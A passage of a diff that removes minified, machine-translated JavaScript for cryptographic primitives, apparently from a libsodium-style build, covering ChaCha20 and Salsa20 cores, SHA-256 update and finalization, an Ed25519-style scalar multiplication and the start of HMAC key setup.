0, (0 | d5) != (0 | p5) | (0 | l5) != (0 | i4); ) - ; - if (B4(t7, t7 + 80 | 0, A8, o5 = A8 + 640 | 0), e6 = e6 + u5 | 0, !(n9 = n9 - ((r11 >>> 0 < u5 >>> 0) + f5 | 0) | 0) & (r11 = r11 - u5 | 0) >>> 0 > 127 | n9) - for (; B4(t7, e6, A8, o5), e6 = e6 + 128 | 0, !(n9 = n9 - (r11 >>> 0 < 128) | 0) & (r11 = r11 - 128 | 0) >>> 0 > 127 | n9; ) - ; - if (r11 | n9) { - if (y5 = 3 & r11, u5 = 0, p5 = 0, C5 = 0, o5 = 0, h5 = 0, !n9 & r11 >>> 0 >= 4 | n9) - for (g5 = -4 & r11, l5 = n9, d5 = t7 + 80 | 0, r11 = 0, n9 = 0; s4[o5 + d5 | 0] = c4[e6 + o5 | 0], s4[(i4 = 1 | o5) + d5 | 0] = c4[e6 + i4 | 0], s4[(i4 = 2 | o5) + d5 | 0] = c4[e6 + i4 | 0], s4[(i4 = 3 | o5) + d5 | 0] = c4[e6 + i4 | 0], i4 = h5, h5 = (o5 = o5 + 4 | 0) >>> 0 < 4 ? i4 + 1 | 0 : i4, i4 = n9, n9 = i4 = (r11 = r11 + 4 | 0) >>> 0 < 4 ? i4 + 1 | 0 : i4, (0 | r11) != (0 | g5) | (0 | l5) != (0 | i4); ) - ; - if (u5 | y5) - for (; s4[80 + (t7 + o5 | 0) | 0] = c4[e6 + o5 | 0], h5 = (o5 = o5 + 1 | 0) ? h5 : h5 + 1 | 0, i4 = C5, C5 = i4 = (p5 = p5 + 1 | 0) ? i4 : i4 + 1 | 0, (0 | p5) != (0 | y5) | (0 | u5) != (0 | i4); ) - ; - } - oe2(A8, 704); - } else { - if (o5 = 0, h5 = 0, !n9 & r11 >>> 0 >= 4 | n9) - for (u5 = -4 & r11, l5 = n9, n9 = t7 + 80 | 0; s4[n9 + (i4 = o5 + g5 | 0) | 0] = c4[e6 + o5 | 0], s4[n9 + (f5 = g5 + (i4 = 1 | o5) | 0) | 0] = c4[e6 + i4 | 0], s4[n9 + (f5 = g5 + (i4 = 2 | o5) | 0) | 0] = c4[e6 + i4 | 0], s4[n9 + (f5 = g5 + (i4 = 3 | o5) | 0) | 0] = c4[e6 + i4 | 0], i4 = h5, h5 = (o5 = o5 + 4 | 0) >>> 0 < 4 ? i4 + 1 | 0 : i4, i4 = d5, d5 = i4 = (y5 = y5 + 4 | 0) >>> 0 < 4 ? i4 + 1 | 0 : i4, (0 | u5) != (0 | y5) | (0 | l5) != (0 | i4); ) - ; - if ((r11 &= 3) | (n9 = 0)) - for (; s4[80 + (t7 + (i4 = o5 + g5 | 0) | 0) | 0] = c4[e6 + o5 | 0], h5 = (o5 = o5 + 1 | 0) ? h5 : h5 + 1 | 0, i4 = C5, C5 = i4 = (p5 = p5 + 1 | 0) ? i4 : i4 + 1 | 0, (0 | r11) != (0 | p5) | (0 | n9) != (0 | i4); ) - ; - } - return I4 = A8 + 704 | 0, 0; - } - function H4(t7, e6) { - var r11, n9, A8, i4, o5 = 0, h5 = 0, g5 = 0, u5 = 0, l5 = 0, f5 = 0; - for (I4 = r11 = I4 - 480 | 0; g5 = (h5 = r11 + 288 | 0) + (o5 << 1) | 0, u5 = c4[e6 + o5 | 0], s4[g5 + 1 | 0] = u5 >>> 4, s4[0 | g5] = 15 & u5, h5 = h5 + ((g5 = 1 | o5) << 1) | 0, g5 = c4[e6 + g5 | 0], s4[h5 + 1 | 0] = g5 >>> 4, s4[0 | h5] = 15 & g5, 32 != (0 | (o5 = o5 + 2 | 0)); ) - ; - for (e6 = 0; o5 = 8 + (h5 = (o5 = e6) + c4[0 | (e6 = (r11 + 288 | 0) + l5 | 0)] | 0) | 0, s4[0 | e6] = h5 - (240 & o5), o5 = 8 + (h5 = c4[e6 + 1 | 0] + (o5 << 24 >> 24 >> 4) | 0) | 0, s4[e6 + 1 | 0] = h5 - (240 & o5), o5 = 8 + (h5 = c4[e6 + 2 | 0] + (o5 << 24 >> 24 >> 4) | 0) | 0, s4[e6 + 2 | 0] = h5 - (240 & o5), e6 = o5 << 24 >> 24 >> 4, 63 != (0 | (l5 = l5 + 3 | 0)); ) - ; - for (s4[r11 + 351 | 0] = c4[r11 + 351 | 0] + e6, a4[t7 + 32 >> 2] = 0, a4[t7 + 36 >> 2] = 0, a4[t7 + 24 >> 2] = 0, a4[t7 + 28 >> 2] = 0, a4[t7 + 16 >> 2] = 0, a4[t7 + 20 >> 2] = 0, a4[t7 + 8 >> 2] = 0, a4[t7 + 12 >> 2] = 0, a4[t7 >> 2] = 0, a4[t7 + 4 >> 2] = 0, a4[t7 + 44 >> 2] = 0, a4[t7 + 48 >> 2] = 0, a4[(e6 = t7 + 40 | 0) >> 2] = 1, a4[t7 + 52 >> 2] = 0, a4[t7 + 56 >> 2] = 0, a4[t7 + 60 >> 2] = 0, a4[t7 + 64 >> 2] = 0, a4[t7 + 68 >> 2] = 0, a4[t7 + 72 >> 2] = 0, a4[t7 + 76 >> 2] = 0, a4[t7 + 80 >> 2] = 1, xt2(t7 + 84 | 0, 0, 76), A8 = t7 + 120 | 0, l5 = t7 + 80 | 0, h5 = r11 + 208 | 0, n9 = r11 + 168 | 0, g5 = r11 + 248 | 0, o5 = 1; V2(f5 = r11 + 8 | 0, o5 >>> 1 | 0, s4[(r11 + 288 | 0) + o5 | 0]), R4(u5 = r11 + 128 | 0, t7, f5), v4(t7, u5, g5), v4(e6, n9, h5), v4(l5, h5, g5), v4(A8, u5, n9), f5 = o5 >>> 0 < 62, o5 = o5 + 2 | 0, f5; ) - ; - for (o5 = a4[t7 + 36 >> 2], a4[r11 + 392 >> 2] = a4[t7 + 32 >> 2], a4[r11 + 396 >> 2] = o5, o5 = a4[t7 + 28 >> 2], a4[r11 + 384 >> 2] = a4[t7 + 24 >> 2], a4[r11 + 388 >> 2] = o5, o5 = a4[t7 + 20 >> 2], a4[r11 + 376 >> 2] = a4[t7 + 16 >> 2], a4[r11 + 380 >> 2] = o5, o5 = a4[t7 + 12 >> 2], a4[r11 + 368 >> 2] = a4[t7 + 8 >> 2], a4[r11 + 372 >> 2] = o5, o5 = a4[t7 + 4 >> 2], a4[r11 + 360 >> 2] = a4[t7 >> 2], a4[r11 + 364 >> 2] = o5, o5 = a4[e6 + 12 >> 2], a4[r11 + 408 >> 2] = a4[e6 + 8 >> 2], a4[r11 + 412 >> 2] = o5, o5 = a4[e6 + 20 >> 2], a4[r11 + 416 >> 2] = a4[e6 + 16 >> 2], a4[r11 + 420 >> 2] = o5, o5 = a4[e6 + 28 >> 2], a4[r11 + 424 >> 2] = a4[e6 + 24 >> 2], a4[r11 + 428 >> 2] = o5, o5 = a4[e6 + 36 >> 2], a4[r11 + 432 >> 2] = a4[e6 + 32 >> 2], a4[r11 + 436 >> 2] = o5, o5 = a4[e6 + 4 >> 2], a4[r11 + 400 >> 2] = a4[e6 >> 2], a4[r11 + 404 >> 2] = o5, o5 = a4[l5 + 12 >> 2], a4[r11 + 448 >> 2] = a4[l5 + 8 >> 2], a4[r11 + 452 >> 2] = o5, o5 = a4[l5 + 20 >> 2], a4[r11 + 456 >> 2] = a4[l5 + 16 >> 2], a4[r11 + 460 >> 2] = o5, o5 = a4[l5 + 28 >> 2], a4[r11 + 464 >> 2] = a4[l5 + 24 >> 2], a4[r11 + 468 >> 2] = o5, o5 = a4[l5 + 36 >> 2], a4[r11 + 472 >> 2] = a4[l5 + 32 >> 2], a4[r11 + 476 >> 2] = o5, o5 = a4[l5 + 4 >> 2], a4[r11 + 440 >> 2] = a4[l5 >> 2], a4[r11 + 444 >> 2] = o5, _4(u5, o5 = r11 + 360 | 0), v4(o5, u5, g5), v4(f5 = r11 + 400 | 0, n9, h5), v4(i4 = r11 + 440 | 0, h5, g5), _4(u5, o5), v4(o5, u5, g5), v4(f5, n9, h5), v4(i4, h5, g5), _4(u5, o5), v4(o5, u5, g5), v4(f5, n9, h5), v4(i4, h5, g5), _4(u5, o5), v4(t7, u5, g5), v4(e6, n9, h5), v4(l5, h5, g5), v4(A8, u5, n9), o5 = 0; V2(f5 = r11 + 8 | 0, o5 >>> 1 | 0, s4[(r11 + 288 | 0) + o5 | 0]), R4(u5 = r11 + 128 | 0, t7, f5), v4(t7, u5, g5), v4(e6, n9, h5), v4(l5, h5, g5), v4(A8, u5, n9), u5 = o5 >>> 0 < 62, o5 = o5 + 2 | 0, u5; ) - ; - I4 = r11 + 480 | 0; - } - function L4(t7, e6, r11) { - var n9 = 0, A8 = 0, i4 = 0, o5 = 0, a5 = 0, h5 = 0, g5 = 0, u5 = 0, l5 = 0, f5 = 0, p5 = 0, d5 = 0, I5 = 0, y5 = 0, C5 = 0, m5 = 0, B5 = 0, E5 = 0, w5 = 0, v5 = 0; - for (A8 = 2036477234, o5 = 857760878, n9 = 1634760805, h5 = 1797285236, i4 = c4[e6 + 12 | 0] | c4[e6 + 13 | 0] << 8 | c4[e6 + 14 | 0] << 16 | c4[e6 + 15 | 0] << 24, l5 = c4[e6 + 8 | 0] | c4[e6 + 9 | 0] << 8 | c4[e6 + 10 | 0] << 16 | c4[e6 + 11 | 0] << 24, a5 = c4[e6 + 4 | 0] | c4[e6 + 5 | 0] << 8 | c4[e6 + 6 | 0] << 16 | c4[e6 + 7 | 0] << 24, f5 = c4[r11 + 28 | 0] | c4[r11 + 29 | 0] << 8 | c4[r11 + 30 | 0] << 16 | c4[r11 + 31 | 0] << 24, g5 = c4[r11 + 24 | 0] | c4[r11 + 25 | 0] << 8 | c4[r11 + 26 | 0] << 16 | c4[r11 + 27 | 0] << 24, B5 = c4[r11 + 20 | 0] | c4[r11 + 21 | 0] << 8 | c4[r11 + 22 | 0] << 16 | c4[r11 + 23 | 0] << 24, p5 = c4[r11 + 16 | 0] | c4[r11 + 17 | 0] << 8 | c4[r11 + 18 | 0] << 16 | c4[r11 + 19 | 0] << 24, d5 = c4[r11 + 12 | 0] | c4[r11 + 13 | 0] << 8 | c4[r11 + 14 | 0] << 16 | c4[r11 + 15 | 0] << 24, I5 = c4[r11 + 8 | 0] | c4[r11 + 9 | 0] << 8 | c4[r11 + 10 | 0] << 16 | c4[r11 + 11 | 0] << 24, y5 = c4[r11 + 4 | 0] | c4[r11 + 5 | 0] << 8 | c4[r11 + 6 | 0] << 16 | c4[r11 + 7 | 0] << 24, e6 = c4[0 | e6] | c4[e6 + 1 | 0] << 8 | c4[e6 + 2 | 0] << 16 | c4[e6 + 3 | 0] << 24, r11 = c4[0 | r11] | c4[r11 + 1 | 0] << 8 | c4[r11 + 2 | 0] << 16 | c4[r11 + 3 | 0] << 24; u5 = r11, r11 = Gt2((C5 = e6) ^ (e6 = r11 + n9 | 0), 16), u5 = p5 = Gt2(u5 ^ (n9 = r11 + p5 | 0), 12), E5 = Gt2((C5 = e6 + p5 | 0) ^ r11, 8), e6 = Gt2(u5 ^ (p5 = E5 + n9 | 0), 7), n9 = d5, d5 = Gt2((r11 = h5 + d5 | 0) ^ i4, 16), n9 = Gt2(n9 ^ (f5 = d5 + f5 | 0), 12), i4 = I5, h5 = Gt2((A8 = A8 + I5 | 0) ^ l5, 16), i4 = Gt2(i4 ^ (I5 = h5 + g5 | 0), 12), g5 = Gt2((A8 = i4 + A8 | 0) ^ h5, 8), r11 = Gt2(g5 ^ (h5 = e6 + (m5 = r11 + n9 | 0) | 0), 16), l5 = Gt2((o5 = o5 + y5 | 0) ^ a5, 16), y5 = Gt2((a5 = l5 + B5 | 0) ^ y5, 12), u5 = e6, e6 = Gt2((o5 = o5 + y5 | 0) ^ l5, 8), u5 = Gt2(u5 ^ (a5 = r11 + (w5 = e6 + a5 | 0) | 0), 12), l5 = Gt2(r11 ^ (h5 = u5 + h5 | 0), 8), r11 = Gt2((B5 = l5 + a5 | 0) ^ u5, 7), u5 = A8, A8 = n9, m5 = Gt2(d5 ^ m5, 8), A8 = Gt2(A8 ^ (n9 = m5 + f5 | 0), 7), d5 = Gt2((a5 = u5 + A8 | 0) ^ e6, 16), f5 = Gt2((e6 = d5 + p5 | 0) ^ A8, 12), a5 = Gt2(d5 ^ (A8 = f5 + a5 | 0), 8), d5 = Gt2((p5 = e6 + a5 | 0) ^ f5, 7), e6 = Gt2((e6 = i4) ^ (i4 = g5 + I5 | 0), 7), I5 = Gt2((o5 = e6 + o5 | 0) ^ E5, 16), g5 = Gt2(e6 ^ (n9 = I5 + n9 | 0), 12), e6 = Gt2(I5 ^ (o5 = g5 + o5 | 0), 8), I5 = Gt2((f5 = n9 + e6 | 0) ^ g5, 7), u5 = i4, n9 = Gt2(y5 ^ w5, 7), g5 = Gt2((i4 = n9 + C5 | 0) ^ m5, 16), C5 = Gt2(n9 ^ (y5 = u5 + g5 | 0), 12), i4 = Gt2(g5 ^ (n9 = C5 + i4 | 0), 8), y5 = Gt2((g5 = y5 + i4 | 0) ^ C5, 7), 10 != (0 | (v5 = v5 + 1 | 0)); ) - ; - s4[0 | t7] = n9, s4[t7 + 1 | 0] = n9 >>> 8, s4[t7 + 2 | 0] = n9 >>> 16, s4[t7 + 3 | 0] = n9 >>> 24, s4[t7 + 28 | 0] = i4, s4[t7 + 29 | 0] = i4 >>> 8, s4[t7 + 30 | 0] = i4 >>> 16, s4[t7 + 31 | 0] = i4 >>> 24, s4[t7 + 24 | 0] = l5, s4[t7 + 25 | 0] = l5 >>> 8, s4[t7 + 26 | 0] = l5 >>> 16, s4[t7 + 27 | 0] = l5 >>> 24, s4[t7 + 20 | 0] = a5, s4[t7 + 21 | 0] = a5 >>> 8, s4[t7 + 22 | 0] = a5 >>> 16, s4[t7 + 23 | 0] = a5 >>> 24, s4[t7 + 16 | 0] = e6, s4[t7 + 17 | 0] = e6 >>> 8, s4[t7 + 18 | 0] = e6 >>> 16, s4[t7 + 19 | 0] = e6 >>> 24, s4[t7 + 12 | 0] = h5, s4[t7 + 13 | 0] = h5 >>> 8, s4[t7 + 14 | 0] = h5 >>> 16, s4[t7 + 15 | 0] = h5 >>> 24, s4[t7 + 8 | 0] = A8, s4[t7 + 9 | 0] = A8 >>> 8, s4[t7 + 10 | 0] = A8 >>> 16, s4[t7 + 11 | 0] = A8 >>> 24, s4[t7 + 4 | 0] = o5, s4[t7 + 5 | 0] = o5 >>> 8, s4[t7 + 6 | 0] = o5 >>> 16, s4[t7 + 7 | 0] = o5 >>> 24; - } - function O4(t7, e6, r11) { - var n9 = 0, A8 = 0, i4 = 0, o5 = 0, a5 = 0, h5 = 0, g5 = 0, u5 = 0, l5 = 0, f5 = 0, p5 = 0, d5 = 0, I5 = 0, y5 = 0, C5 = 0, m5 = 0, B5 = 0, E5 = 0, w5 = 0, v5 = 0; - for (n9 = 1797285236, g5 = 2036477234, u5 = 857760878, A8 = 1634760805, i4 = c4[e6 + 12 | 0] | c4[e6 + 13 | 0] << 8 | c4[e6 + 14 | 0] << 16 | c4[e6 + 15 | 0] << 24, a5 = c4[e6 + 8 | 0] | c4[e6 + 9 | 0] << 8 | c4[e6 + 10 | 0] << 16 | c4[e6 + 11 | 0] << 24, o5 = c4[e6 + 4 | 0] | c4[e6 + 5 | 0] << 8 | c4[e6 + 6 | 0] << 16 | c4[e6 + 7 | 0] << 24, C5 = c4[r11 + 28 | 0] | c4[r11 + 29 | 0] << 8 | c4[r11 + 30 | 0] << 16 | c4[r11 + 31 | 0] << 24, y5 = c4[r11 + 24 | 0] | c4[r11 + 25 | 0] << 8 | c4[r11 + 26 | 0] << 16 | c4[r11 + 27 | 0] << 24, m5 = 20, d5 = c4[r11 + 20 | 0] | c4[r11 + 21 | 0] << 8 | c4[r11 + 22 | 0] << 16 | c4[r11 + 23 | 0] << 24, I5 = c4[r11 + 16 | 0] | c4[r11 + 17 | 0] << 8 | c4[r11 + 18 | 0] << 16 | c4[r11 + 19 | 0] << 24, l5 = c4[r11 + 12 | 0] | c4[r11 + 13 | 0] << 8 | c4[r11 + 14 | 0] << 16 | c4[r11 + 15 | 0] << 24, f5 = c4[r11 + 8 | 0] | c4[r11 + 9 | 0] << 8 | c4[r11 + 10 | 0] << 16 | c4[r11 + 11 | 0] << 24, p5 = c4[r11 + 4 | 0] | c4[r11 + 5 | 0] << 8 | c4[r11 + 6 | 0] << 16 | c4[r11 + 7 | 0] << 24, e6 = c4[0 | e6] | c4[e6 + 1 | 0] << 8 | c4[e6 + 2 | 0] << 16 | c4[e6 + 3 | 0] << 24, r11 = c4[0 | r11] | c4[r11 + 1 | 0] << 8 | c4[r11 + 2 | 0] << 16 | c4[r11 + 3 | 0] << 24; h5 = Gt2(r11 + u5 | 0, 7) ^ i4, B5 = Gt2(h5 + u5 | 0, 9) ^ y5, l5 = Gt2(A8 + d5 | 0, 7) ^ l5, E5 = Gt2(l5 + A8 | 0, 9) ^ a5, w5 = Gt2(E5 + l5 | 0, 13) ^ d5, f5 = Gt2(n9 + I5 | 0, 7) ^ f5, o5 = Gt2(f5 + n9 | 0, 9) ^ o5, a5 = Gt2(o5 + f5 | 0, 13) ^ I5, n9 = Gt2(o5 + a5 | 0, 18) ^ n9, i4 = Gt2(e6 + g5 | 0, 7) ^ C5, d5 = w5 ^ Gt2(n9 + i4 | 0, 7), y5 = B5 ^ Gt2(d5 + n9 | 0, 9), C5 = Gt2(d5 + y5 | 0, 13) ^ i4, n9 = Gt2(y5 + C5 | 0, 18) ^ n9, p5 = Gt2(i4 + g5 | 0, 9) ^ p5, v5 = Gt2(p5 + i4 | 0, 13) ^ e6, e6 = Gt2(v5 + p5 | 0, 18) ^ g5, I5 = Gt2(e6 + h5 | 0, 7) ^ a5, a5 = Gt2(I5 + e6 | 0, 9) ^ E5, i4 = Gt2(a5 + I5 | 0, 13) ^ h5, g5 = Gt2(i4 + a5 | 0, 18) ^ e6, h5 = Gt2(h5 + B5 | 0, 13) ^ r11, r11 = Gt2(h5 + B5 | 0, 18) ^ u5, e6 = Gt2(r11 + l5 | 0, 7) ^ v5, o5 = Gt2(e6 + r11 | 0, 9) ^ o5, l5 = Gt2(e6 + o5 | 0, 13) ^ l5, u5 = Gt2(o5 + l5 | 0, 18) ^ r11, A8 = Gt2(E5 + w5 | 0, 18) ^ A8, r11 = Gt2(A8 + f5 | 0, 7) ^ h5, p5 = Gt2(r11 + A8 | 0, 9) ^ p5, f5 = Gt2(r11 + p5 | 0, 13) ^ f5, A8 = Gt2(p5 + f5 | 0, 18) ^ A8, h5 = m5 >>> 0 > 2, m5 = m5 - 2 | 0, h5; ) - ; - return s4[0 | t7] = A8, s4[t7 + 1 | 0] = A8 >>> 8, s4[t7 + 2 | 0] = A8 >>> 16, s4[t7 + 3 | 0] = A8 >>> 24, s4[t7 + 28 | 0] = i4, s4[t7 + 29 | 0] = i4 >>> 8, s4[t7 + 30 | 0] = i4 >>> 16, s4[t7 + 31 | 0] = i4 >>> 24, s4[t7 + 24 | 0] = a5, s4[t7 + 25 | 0] = a5 >>> 8, s4[t7 + 26 | 0] = a5 >>> 16, s4[t7 + 27 | 0] = a5 >>> 24, s4[t7 + 20 | 0] = o5, s4[t7 + 21 | 0] = o5 >>> 8, s4[t7 + 22 | 0] = o5 >>> 16, s4[t7 + 23 | 0] = o5 >>> 24, s4[t7 + 16 | 0] = e6, s4[t7 + 17 | 0] = e6 >>> 8, s4[t7 + 18 | 0] = e6 >>> 16, s4[t7 + 19 | 0] = e6 >>> 24, s4[t7 + 12 | 0] = n9, s4[t7 + 13 | 0] = n9 >>> 8, s4[t7 + 14 | 0] = n9 >>> 16, s4[t7 + 15 | 0] = n9 >>> 24, s4[t7 + 8 | 0] = g5, s4[t7 + 9 | 0] = g5 >>> 8, s4[t7 + 10 | 0] = g5 >>> 16, s4[t7 + 11 | 0] = g5 >>> 24, s4[t7 + 4 | 0] = u5, s4[t7 + 5 | 0] = u5 >>> 8, s4[t7 + 6 | 0] = u5 >>> 16, s4[t7 + 7 | 0] = u5 >>> 24, 0; - } - function Y4(t7, e6) { - var r11, n9, A8 = 0, i4 = 0, o5 = 0, c5 = 0; - I4 = r11 = I4 - 288 | 0, i4 = 40 + ((A8 = a4[t7 + 32 >> 2] >>> 3 & 63) + t7 | 0) | 0, A8 >>> 0 >= 56 ? (Mt2(i4, 34224, 64 - A8 | 0), Q4(t7, t7 + 40 | 0, r11, r11 + 256 | 0), a4[t7 + 88 >> 2] = 0, a4[t7 + 92 >> 2] = 0, a4[t7 + 80 >> 2] = 0, a4[t7 + 84 >> 2] = 0, a4[t7 + 72 >> 2] = 0, a4[t7 + 76 >> 2] = 0, a4[(A8 = t7 - -64 | 0) >> 2] = 0, a4[A8 + 4 >> 2] = 0, a4[t7 + 56 >> 2] = 0, a4[t7 + 60 >> 2] = 0, a4[t7 + 48 >> 2] = 0, a4[t7 + 52 >> 2] = 0, a4[t7 + 40 >> 2] = 0, a4[t7 + 44 >> 2] = 0) : Mt2(i4, 34224, 56 - A8 | 0), o5 = (A8 = 16711680 & (i4 = a4[t7 + 32 >> 2])) >>> 8 | 0, c5 = A8 << 24, n9 = (A8 = -16777216 & i4) >>> 24 | 0, A8 = (c5 |= A8 << 8) | -16777216 & ((255 & (A8 = a4[t7 + 36 >> 2])) << 24 | i4 >>> 8) | 16711680 & ((16777215 & A8) << 8 | i4 >>> 24) | A8 >>> 8 & 65280 | A8 >>> 24, s4[t7 + 96 | 0] = A8, s4[t7 + 97 | 0] = A8 >>> 8, s4[t7 + 98 | 0] = A8 >>> 16, s4[t7 + 99 | 0] = A8 >>> 24, A8 = (A8 = o5 | n9 | i4 << 24 | (65280 & i4) << 8) | (o5 = 0) | o5, s4[t7 + 100 | 0] = A8, s4[t7 + 101 | 0] = A8 >>> 8, s4[t7 + 102 | 0] = A8 >>> 16, s4[t7 + 103 | 0] = A8 >>> 24, Q4(t7, t7 + 40 | 0, r11, r11 + 256 | 0), A8 = (A8 = a4[t7 >> 2]) << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, s4[0 | e6] = A8, s4[e6 + 1 | 0] = A8 >>> 8, s4[e6 + 2 | 0] = A8 >>> 16, s4[e6 + 3 | 0] = A8 >>> 24, A8 = (A8 = a4[t7 + 4 >> 2]) << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, s4[e6 + 4 | 0] = A8, s4[e6 + 5 | 0] = A8 >>> 8, s4[e6 + 6 | 0] = A8 >>> 16, s4[e6 + 7 | 0] = A8 >>> 24, A8 = (A8 = a4[t7 + 8 >> 2]) << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, s4[e6 + 8 | 0] = A8, s4[e6 + 9 | 0] = A8 >>> 8, s4[e6 + 10 | 0] = A8 >>> 16, s4[e6 + 11 | 0] = A8 >>> 24, A8 = (A8 = a4[t7 + 12 >> 2]) << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, s4[e6 + 12 | 0] = A8, s4[e6 + 13 | 0] = A8 >>> 8, s4[e6 + 14 | 0] = A8 >>> 16, s4[e6 + 15 | 0] = A8 >>> 24, A8 = (A8 = a4[t7 + 16 >> 2]) << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, s4[e6 + 16 | 0] = A8, s4[e6 + 17 | 0] = A8 >>> 8, s4[e6 + 18 | 0] = A8 >>> 16, s4[e6 + 19 | 0] = A8 >>> 24, A8 = (A8 = a4[t7 + 20 >> 2]) << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, s4[e6 + 20 | 0] = A8, s4[e6 + 21 | 0] = A8 >>> 8, s4[e6 + 22 | 0] = A8 >>> 16, s4[e6 + 23 | 0] = A8 >>> 24, A8 = (A8 = a4[t7 + 24 >> 2]) << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, s4[e6 + 24 | 0] = A8, s4[e6 + 25 | 0] = A8 >>> 8, s4[e6 + 26 | 0] = A8 >>> 16, s4[e6 + 27 | 0] = A8 >>> 24, A8 = (A8 = a4[t7 + 28 >> 2]) << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, s4[e6 + 28 | 0] = A8, s4[e6 + 29 | 0] = A8 >>> 8, s4[e6 + 30 | 0] = A8 >>> 16, s4[e6 + 31 | 0] = A8 >>> 24, oe2(r11, 288), oe2(t7, 104), I4 = r11 + 288 | 0; - } - function K4(t7, e6, r11) { - var n9, A8 = 0, i4 = 0, o5 = 0, h5 = 0, g5 = 0, u5 = 0, l5 = 0, f5 = 0, p5 = 0, d5 = 0, y5 = 0, C5 = 0; - if (I4 = n9 = I4 - 288 | 0, r11) - if (u5 = (A8 = a4[t7 + 36 >> 2]) + (r11 >>> 29 | 0) | 0, p5 = (o5 = a4[t7 + 32 >> 2]) + (h5 = r11 << 3) | 0, a4[t7 + 32 >> 2] = p5, a4[t7 + 36 >> 2] = h5 >>> 0 > p5 >>> 0 ? u5 + 1 | 0 : u5, true & (h5 = 64 - (u5 = 63 & ((7 & A8) << 29 | o5 >>> 3)) | 0) >>> 0 <= r11 >>> 0) { - if (A8 = 0, o5 = 0, (63 ^ u5) >>> 0 >= 3) - for (C5 = 124 & h5, p5 = t7 + 40 | 0; s4[(A8 + u5 | 0) + p5 | 0] = c4[e6 + A8 | 0], s4[(u5 + (y5 = 1 | A8) | 0) + p5 | 0] = c4[e6 + y5 | 0], s4[(u5 + (y5 = 2 | A8) | 0) + p5 | 0] = c4[e6 + y5 | 0], s4[(u5 + (y5 = 3 | A8) | 0) + p5 | 0] = c4[e6 + y5 | 0], o5 = (A8 = A8 + 4 | 0) >>> 0 < 4 ? o5 + 1 | 0 : o5, (i4 = (d5 = d5 + 4 | 0) >>> 0 < 4 ? i4 + 1 | 0 : i4) | (0 | d5) != (0 | C5); ) - ; - if (i4 = 3 & h5) - for (; s4[40 + ((A8 + u5 | 0) + t7 | 0) | 0] = c4[e6 + A8 | 0], o5 = (A8 = A8 + 1 | 0) ? o5 : o5 + 1 | 0, (l5 = (f5 = f5 + 1 | 0) ? l5 : l5 + 1 | 0) | (0 | i4) != (0 | f5); ) - ; - if (Q4(t7, t7 + 40 | 0, n9, l5 = n9 + 256 | 0), e6 = e6 + h5 | 0, !(i4 = 0 - ((r11 >>> 0 < h5 >>> 0) + g5 | 0) | 0) & (r11 = r11 - h5 | 0) >>> 0 > 63 | i4) - for (; Q4(t7, e6, n9, l5), e6 = e6 - -64 | 0, i4 = i4 - 1 | 0, !(i4 = (r11 = r11 + -64 | 0) >>> 0 < 4294967232 ? i4 + 1 | 0 : i4) & r11 >>> 0 > 63 | i4; ) - ; - if (r11 | i4) { - if (d5 = 3 & r11, f5 = 0, l5 = 0, A8 = 0, o5 = 0, !i4 & r11 >>> 0 >= 4 | i4) - for (p5 = -4 & r11, u5 = i4, h5 = t7 + 40 | 0, r11 = 0, i4 = 0; s4[A8 + h5 | 0] = c4[e6 + A8 | 0], s4[(g5 = 1 | A8) + h5 | 0] = c4[e6 + g5 | 0], s4[(g5 = 2 | A8) + h5 | 0] = c4[e6 + g5 | 0], s4[(g5 = 3 | A8) + h5 | 0] = c4[e6 + g5 | 0], o5 = (A8 = A8 + 4 | 0) >>> 0 < 4 ? o5 + 1 | 0 : o5, (0 | (r11 = r11 + 4 | 0)) != (0 | p5) | (0 | (i4 = r11 >>> 0 < 4 ? i4 + 1 | 0 : i4)) != (0 | u5); ) - ; - if (d5) - for (; s4[40 + (t7 + A8 | 0) | 0] = c4[e6 + A8 | 0], o5 = (A8 = A8 + 1 | 0) ? o5 : o5 + 1 | 0, (l5 = (f5 = f5 + 1 | 0) ? l5 : l5 + 1 | 0) | (0 | f5) != (0 | d5); ) - ; - } - oe2(n9, 288); - } else { - if (A8 = 0, o5 = 0, r11 >>> 0 >= 4) - for (p5 = -4 & r11, h5 = t7 + 40 | 0; s4[(A8 + u5 | 0) + h5 | 0] = c4[e6 + A8 | 0], s4[(u5 + (g5 = 1 | A8) | 0) + h5 | 0] = c4[e6 + g5 | 0], s4[(u5 + (g5 = 2 | A8) | 0) + h5 | 0] = c4[e6 + g5 | 0], s4[(u5 + (g5 = 3 | A8) | 0) + h5 | 0] = c4[e6 + g5 | 0], o5 = (A8 = A8 + 4 | 0) >>> 0 < 4 ? o5 + 1 | 0 : o5, (i4 = (d5 = d5 + 4 | 0) >>> 0 < 4 ? i4 + 1 | 0 : i4) | (0 | p5) != (0 | d5); ) - ; - if (r11 &= 3) - for (; s4[40 + ((A8 + u5 | 0) + t7 | 0) | 0] = c4[e6 + A8 | 0], o5 = (A8 = A8 + 1 | 0) ? o5 : o5 + 1 | 0, (l5 = (f5 = f5 + 1 | 0) ? l5 : l5 + 1 | 0) | (0 | r11) != (0 | f5); ) - ; - } - I4 = n9 + 288 | 0; - } - function J4(t7, e6, r11) { - var n9, A8 = 0, i4 = 0, o5 = 0, h5 = 0, g5 = 0, u5 = 0, l5 = 0, f5 = 0; - if (I4 = n9 = I4 - 96 | 0, r11 >>> 0 >= 65 && (wt2(t7), K4(t7, e6, r11), Y4(t7, n9), r11 = 32, e6 = n9), wt2(t7), a4[n9 + 88 >> 2] = 909522486, a4[n9 + 92 >> 2] = 909522486, a4[n9 + 80 >> 2] = 909522486, a4[n9 + 84 >> 2] = 909522486, a4[n9 + 72 >> 2] = 909522486, a4[n9 + 76 >> 2] = 909522486, a4[(o5 = l5 = n9 - -64 | 0) >> 2] = 909522486, a4[o5 + 4 >> 2] = 909522486, a4[n9 + 56 >> 2] = 909522486, a4[n9 + 60 >> 2] = 909522486, a4[n9 + 48 >> 2] = 909522486, a4[n9 + 52 >> 2] = 909522486, a4[n9 + 40 >> 2] = 909522486, a4[n9 + 44 >> 2] = 909522486, a4[n9 + 32 >> 2] = 909522486, a4[n9 + 36 >> 